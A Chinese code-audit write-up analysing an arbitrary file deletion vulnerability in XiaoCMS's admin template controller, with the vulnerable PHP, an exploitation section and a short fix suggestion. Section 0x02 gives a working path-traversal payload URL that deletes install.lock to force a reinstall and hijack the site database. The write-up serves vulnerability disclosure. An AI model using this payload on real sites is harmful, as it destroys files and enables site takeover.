【代码审计】XIAOCMS_存在任意文件删除漏洞分析
0x00 环境准备
XIAOCMS官网: http://www.xiaocms.com/
网站源码版本:XiaoCms (发布时间:2014-12-29)
程序源码下载:http://www.xiaocms.com/download/XiaoCms_20141229.zip
测试网站首页:
0x01 代码分析
1、漏洞文件位置:/admin/controller/template.php 第79--91行:
- public function delAction() {
- $dir = $this->get('dir') ? urldecode($this->get('dir')) : '';
- $dir = str_replace(array('..\\', '../', './', '.\\'), '', trim($dir));
- $dir = substr($dir, 0, 1) == '/' ? substr($dir, 1) : $dir;
- $dir = str_replace(array('\\', '//'), DIRECTORY_SEPARATOR, $dir);
- $filename = urldecode($this->get('file'));
- $filepath = $this->dir . $dir.$filename;
- if (@unlink($filepath))
- 10. $this->show_message('删除成功',1);
- 11. else
- 12. $this->show_message('删除失败',2, url('template', array('dir'=>$dir)));
- 13. }
在这段函数中,首先对dir参数进行处理,然后将file进行路径拼接,然后带入unlink函数进行删除操作。可以看到参数并未进行任何过滤或处理,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件。如删除install.lock文件,进行CMS重装,劫持网站数据库。
0x02 漏洞利用
1、在网站根目录新建test.txt,作为漏洞测试文件:
2、构造URL参数,可成功删除根目录下的test.txt文件
3、如何进一步利用?
构造参数删除install.lock文件,进入CMS重装界面。
Payload:
http://127.0.0.1/admin/index.php?c=template&a=del&file=..\\..\\..\\data\\install.lock&dir=images\
0x03 修复建议
1、对于要删除的文件,通过正则判断用户输入的参数的格式,看输入的格式是否合法。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。